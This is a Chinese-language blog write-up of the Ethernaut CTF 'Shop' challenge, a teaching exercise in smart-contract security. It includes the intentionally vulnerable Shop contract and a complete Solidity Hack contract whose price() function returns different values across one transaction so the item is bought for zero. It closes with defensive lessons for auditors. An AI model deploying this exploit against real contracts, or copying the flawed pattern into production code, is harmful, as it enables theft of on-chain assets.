Skip to content
On this page

白嫖商店:Ethernaut Shop 挑战揭秘,如何在以太坊上“零元购”?

各位智能合约安全爱好者们,准备好迎接一场思维风暴了吗?今天我们要深入探讨 Ethernaut CTF 平台上的一个经典挑战——“Shop”。这个题目看似简单,却巧妙地利用了 Solidity 语言和 EVM 的一些特性,让我们有机会体验一把智能合约世界的“零元购”!

挑战背景:这个商店有点“怪”

想象一下,你发现了一个特别的链上商店。它宣称有一个商品,原价 100 单位货币。你的任务就是想办法以低于这个价格,甚至免费的方式买到它。

题目描述:

你能以低于要价的价格从商店获得商品吗?

可能会有帮助的提示:

商店期望由一个 Buyer (买家) 来使用。 理解视图函数 (view functions) 的限制。

这短短几句话,已经暗示了我们解题的关键。我们不是一个普通的外部账户,而是一个可以实现 IBuyer 接口的智能合约。而“视图函数的限制”,更是点明了问题的核心。

Shop 合约剖析:核心逻辑何在?

让我们来看看这个神秘商店的骨架——Shop.sol 合约:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuyer {
  function price() external view returns (uint256);
}

contract Shop {
  uint256 public price = 100; // 初始价格 100
  bool public isSold; // 是否已售出

  function buy() public {
    IBuyer _buyer = IBuyer(msg.sender); // 核心:将 msg.sender 视为 IBuyer 接口

    // 购买条件:买家的价格 >= 商店价格 且 商品未售出
    if (_buyer.price() >= price && !isSold) {
      isSold = true; // 标记为已售出
      price = _buyer.price(); // 更新商店价格为买家提供的价格
    }
  }
}

乍一看,这个 buy() 函数的逻辑似乎无懈可击:

  1. 它要求 msg.sender 必须实现 IBuyer 接口,意味着 msg.sender 必须是一个合约,并且拥有一个 price() 视图函数。
  2. 购买条件是 _buyer.price()(买家告诉商店的“价格”)必须 大于等于 Shop 当前的 price
  3. 如果条件满足,isSold 被设为 true,商品售出。
  4. 最关键的一步: Shopprice 会被更新为 _buyer.price()

这看上去像是一个公平交易,买家必须“出得起价”。那么,我们如何才能以低于 100 的价格买到它,甚至白嫖呢?奥秘就在于“视图函数的限制”和 _buyer.price() 被调用的时机。

巧施妙计:成为一个“欺骗性”的买家

为了实现我们的“零元购”目标,我们需要编写一个 Hack 合约,来扮演这个特殊的买家。

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function price() external view returns (uint256);
    function isSold() external view returns (bool);
    function buy() external;
}

contract Hack {
    IShop private immutable target; // 目标 Shop 合约

    constructor(address _target) {
        target = IShop(_target);
    }

    function doBuy() external {
        target.buy(); // 调用 Shop 合约的 buy() 函数
    }

    // 核心:我们自己的 price() 函数
    function price() external view returns (uint256) {
        // 如果 Shop 已经售出,则返回 0;否则返回 100
        return target.isSold() ? uint(0) : uint(100);
    }
}

Hack 合约的关键在于它的 price() 函数。它并没有简单地返回一个固定值,而是根据目标 Shop 合约的 isSold() 状态来动态返回:

  • 如果 Shop 尚未售出 (isSoldfalse),它返回 100
  • 如果 Shop 已经售出 (isSoldtrue),它返回 0

致命的“双重打击”:深入理解交易原子性

现在,让我们一步步揭示这个巧妙的攻击过程:

  1. 准备阶段: 我们部署 Hack 合约,并将 Shop 合约的地址作为参数传递给它。
  2. 发起攻击: 我们调用 Hack 合约的 doBuy() 函数。
  3. 进入 Shop.buy() Hack.doBuy() 会进而调用 Shop 合约的 buy() 函数。此时,msg.sender 是我们的 Hack 合约。
  4. 第一次 _buyer.price() 调用 (条件判断):
    • Shop 合约通过 IBuyer(msg.sender)(也就是 Hack 合约)调用其 price() 函数。
    • Hack.price() 被执行。在 Hack.price() 内部,它会查询 target.isSold(),也就是 Shop 合约的 isSold 状态。
    • 重点来了! 在当前这个交易的执行流中Shop.isSold 变量在 buy() 函数的开头还是 false
    • 所以,target.isSold() 返回 falseHack.price() 因此返回 100
    • Shop 合约的 if 条件 (100 >= 100 && !false) 评估为 true。条件满足,交易继续。
  5. 状态更新: Shop 合约执行 isSold = true;。现在,在当前交易的“中间状态”中,Shop 合约的 isSold 已经变成了 true
  6. 第二次 _buyer.price() 调用 (价格更新):
    • 紧接着,Shop 合约执行 price = _buyer.price();。它再次通过 IBuyer(msg.sender)Hack 合约)调用其 price() 函数。
    • Hack.price() 再次被执行。它又会查询 target.isSold()
    • 关键点! 由于在上一步中 Shop.isSold 已经被更新为 true,这次 target.isSold() 会返回 true
    • 因此,Hack.price() 返回 0
    • 最终,Shop 合约的 price 被更新为 0

当整个交易完成后,我们检查 Shop 合约的状态:isSoldtrue,而 price 竟然变成了 0!我们成功地以“零元”的价格买到了商品。

总结与启示:视图函数并非“纯洁无瑕”

这个 Ethernaut “Shop”挑战完美地展示了一个重要的智能合约安全概念:尽管视图函数 (view functions) 不应该修改状态,但当它们在同一个交易中被多次调用时,它们可以观察到该交易中此前发生的状态改变。

这种行为利用了 EVM 交易的原子性,即一个交易中的所有操作要么全部成功,要么全部失败。在一个交易内部,状态的改变是即时可见的,即使对于被调用的 view 函数也是如此。

本次挑战带给我们的启示:

  1. msg.sender 的力量: 永远不要低估 msg.sender 是一个合约而不是 EOA (外部账户) 时可能带来的复杂性。外部合约可以实现接口,并以意想不到的方式影响你的逻辑。
  2. 外部调用的风险: 在智能合约中进行外部调用(尤其是对用户提供的地址进行调用)时必须极其谨慎。这些外部调用可能会重入你的合约,或者像本例一样,根据你合约内部的中间状态返回不同的结果。
  3. view 函数的重新审视: 尽管 view 函数不能修改链上状态,但它们可以读取当前交易的中间状态。如果你的逻辑依赖于在同一个交易中多次调用 view 函数,并假设它们总是返回相同的结果,那么你可能就掉入了陷阱。

“Shop”挑战是一个极佳的案例,它以巧妙的方式提醒我们,智能合约的安全审计需要深入理解 Solidity 语言特性、EVM 工作原理以及交易的原子性。下次你编写或审计合约时,不妨回想起这个“零元购”的商店,也许能帮你避免类似的漏洞!

Built with AiAda